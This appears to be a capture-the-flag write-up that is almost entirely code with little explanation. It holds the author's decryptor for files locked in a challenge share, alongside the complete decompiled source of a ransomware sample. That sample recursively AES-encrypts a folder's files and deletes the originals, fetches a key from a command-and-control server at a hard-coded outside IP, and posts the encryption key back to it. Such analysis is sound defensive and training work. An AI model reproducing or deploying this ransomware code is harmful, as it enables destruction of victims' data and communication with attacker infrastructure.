COMCYBER 25 Writeup

	private static string L()
		{
			string text = "OF/sfn87WwjfIX14p17jp8mu5uavNFecb4D97pgVfZc=";
			byte[] bytes = Encoding.ASCII.GetBytes(Y.G().Substring(0, 16));
			byte[] bytes2 = Encoding.ASCII.GetBytes(Y.H().Substring(0, 16));
			return Y.M(Convert.FromBase64String(text), bytes, bytes2);
		}

		private static string M(byte[] d, byte[] k, byte[] i)
		{
			string text;
			using (Aes aes = Aes.Create())
			{
				aes.Key = k;
				aes.IV = i;
				ICryptoTransform cryptoTransform = aes.CreateDecryptor(aes.Key, aes.IV);
				using (MemoryStream memoryStream = new MemoryStream(d))
				{
					using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Read))
					{
						using (StreamReader streamReader = new StreamReader(cryptoStream))
						{
							text = streamReader.ReadToEnd();
						}
					}
				}
			}
			return text;
		}

using System.Security.Cryptography;
using System.Text;

string folderName = "private";
string trueFolderName = "\\\\dc01\\shares\\private";
string dynamicKey = "35319a21dbe2ced1a7da56c2d717bb0d";
string staticKey = "AA$F2-D8C1E7B9F3A35@C8@!BB2E1F0A7C3D";
string s_iv = "D1@E2#F3%A4B5&C6D1@E2#F3%A4B5&C6D1@E2#F3%A4B5&C6";
string timestamp = "2025-02-11T16:28:16Z";

byte[] iv = Encoding.ASCII.GetBytes(s_iv.Substring(0, 16));


byte[] compKey = ComputeCompositeKey(dynamicKey, staticKey, trueFolderName, timestamp);

decryptFolder(folderName,compKey, iv);


byte[] ComputeCompositeKey(string dkey, string skey, string folder, string timestamp)
{
    using (SHA256 sha = SHA256.Create())
    {
        return sha.ComputeHash(Encoding.ASCII.GetBytes(dkey + skey + folder + timestamp));
    }
}

void decryptFolder(string folder, byte[] compKey, byte[] iv)
{
    foreach (string text in Directory.GetFiles(folder))
    {
        if (text.EndsWith(".enc")) {
            try
            {
                decryptFile(text, compKey, iv);
                Console.WriteLine("E: " + text);
            }
            catch (Exception ex)
            {
                Console.WriteLine("X: " + ex.Message);
            }
        }
    }
    foreach (string text2 in Directory.GetDirectories(folder))
    {
        decryptFolder(text2, compKey, iv);
    }
}

void decryptFile(string f, byte[] k, byte[] i)
{
    string text2 = f.Replace(".enc", "");
    using (FileStream fileStream = new FileStream(f, FileMode.Open, FileAccess.Read))
    {
        using (FileStream fileStream2 = new FileStream(text2, FileMode.Create, FileAccess.Write))
        {
            using (Aes aes = Aes.Create())
            {
                ICryptoTransform cryptoTransform = aes.CreateDecryptor(k, i);
                using (CryptoStream cryptoStream = new CryptoStream(fileStream2, cryptoTransform, CryptoStreamMode.Write))
                {
                    fileStream.CopyTo(cryptoStream);
                }
            }
        }
    }
}

using System;
using System.Collections.Generic;
using System.IO;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;

namespace X
{
	[NullableContext(1)]
	[Nullable(0)]
	internal class Y
	{
		public static void Main(string[] p)
		{
			Y.MainAsync(p).Wait();
		}

		private static async Task MainAsync(string[] p)
		{
			string folderName = p[0];
			string t = DateTime.UtcNow.ToString("yyyy-MM-ddTHH:mm:ssZ");
			string c2url = "http://163.172.66.233:3000";
			string username = "admin";
			string password = "http://163.172.66.233:3000";
			string staticKey = "AA$F2-D8C1E7B9F3A35@C8@!BB2E1F0A7C3D";
			string dynamicKey = await Y.getDynamicKey(c2url, username, password);
			byte[] compKey = Y.ComputeCompositeKey(dynamicKey, staticKey, folderName, t);
			byte[] iv = Encoding.ASCII.GetBytes("D1@E2#F3%A4B5&C6");
			if (Directory.Exists(folderName))
			{
				Y.encryptFolder(folderName, compKey, iv);
			}
			string compositeData = Convert.ToBase64String(compKey);
			await Y.PostToC2(c2url, compositeData, username, password);
		}

		private static void encryptFolder(string folder, byte[] compKey, byte[] iv)
		{
			foreach (string filename in Directory.GetFiles(folder))
			{
				try
				{
					Y.EncryptFile(filename, compKey, iv);
				}
				catch (Exception ex)
				{
					Console.WriteLine("X: " + ex.Message);
				}
			}
			foreach (string nfolder in Directory.GetDirectories(folder))
			{
				Y.encryptFolder(nfolder, compKey, iv);
			}
		}

		private static byte[] ComputeCompositeKey(string dkey, string skey, string folder, string timestamp)
		{
			string text = dkey + skey + folder + timestamp;
			byte[] array;
			using (SHA256 sha = SHA256.Create())
			{
				array = sha.ComputeHash(Encoding.ASCII.GetBytes(text));
			}
			return array;
		}

		private static void EncryptFile(string f, byte[] k, byte[] i)
		{
			string text = f + ".tmp";
			string text2 = f + ".enc";
			using (FileStream fileStream = new FileStream(f, FileMode.Open, FileAccess.Read))
			{
				using (FileStream fileStream2 = new FileStream(text, FileMode.Create, FileAccess.Write))
				{
					using (Aes aes = Aes.Create())
					{
						aes.Key = k;
						aes.IV = i;
						ICryptoTransform cryptoTransform = aes.CreateEncryptor(aes.Key, aes.IV);
						using (CryptoStream cryptoStream = new CryptoStream(fileStream2, cryptoTransform, CryptoStreamMode.Write))
						{
							fileStream.CopyTo(cryptoStream);
						}
					}
				}
			}
			File.Delete(f);
			File.Move(text, text2);
		}

		private static async Task<string> getDynamicKey(string baseUrl, string username, string password)
		{
			string text;
			try
			{
				using (HttpClient client = new HttpClient())
				{
					var loginData = new { username, password };
					string json = JsonConvert.SerializeObject(loginData);
					StringContent content = new StringContent(json, Encoding.UTF8, "application/json");
					HttpResponseMessage httpResponseMessage = await client.PostAsync(baseUrl + "/login", content);
					HttpResponseMessage loginResponse = httpResponseMessage;
					httpResponseMessage = null;
					if (!loginResponse.IsSuccessStatusCode)
					{
						Console.WriteLine("E: Failed to log in.");
						text = null;
					}
					else
					{
						string text2 = await loginResponse.Content.ReadAsStringAsync();
						string loginResponseBody = text2;
						text2 = null;
						JObject loginJson = JObject.Parse(loginResponseBody);
						JToken jtoken = loginJson["token"];
						string token = ((jtoken != null) ? jtoken.ToString() : null);
						if (string.IsNullOrEmpty(token))
						{
							Console.WriteLine("E: No token found in login response.");
							text = null;
						}
						else
						{
							client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Bearer", token);
							HttpResponseMessage httpResponseMessage2 = await client.GetAsync(baseUrl + "/secretkey");
							HttpResponseMessage secretResponse = httpResponseMessage2;
							httpResponseMessage2 = null;
							Console.WriteLine("I: SecretKey: " + secretResponse.StatusCode.ToString());
							if (!secretResponse.IsSuccessStatusCode)
							{
								Console.WriteLine("E: Failed to retrieve secret key.");
								text = null;
							}
							else
							{
								string text3 = await secretResponse.Content.ReadAsStringAsync();
								string secretKeyBody = text3;
								text3 = null;
								JObject secretKeyJson = JObject.Parse(secretKeyBody);
								JToken jtoken2 = secretKeyJson["key"];
								string secretKey = ((jtoken2 != null) ? jtoken2.ToString() : null);
								Console.WriteLine("I: Secret Key retrieved");
								text = secretKey;
							}
						}
					}
				}
			}
			catch (Exception ex)
			{
				Console.WriteLine("Error: " + ex.Message);
				text = null;
			}
			return text;
		}

		private static async Task PostToC2(string url, string data, string username, string password)
		{
			using (HttpClient client = new HttpClient())
			{
				Dictionary<string, string> values = new Dictionary<string, string>
				{
					{ "username", username },
					{ "password", password },
					{ "data", data }
				};
				FormUrlEncodedContent content = new FormUrlEncodedContent(values);
				try
				{
					HttpResponseMessage httpResponseMessage = await client.PostAsync(url, content);
					HttpResponseMessage response = httpResponseMessage;
					httpResponseMessage = null;
					Console.WriteLine("R: " + response.StatusCode.ToString());
					response = null;
				}
				catch (Exception ex)
				{
					Console.WriteLine("E: " + ex.Message);
				}
				values = null;
				content = null;
			}
			HttpClient client = null;
		}
	}
}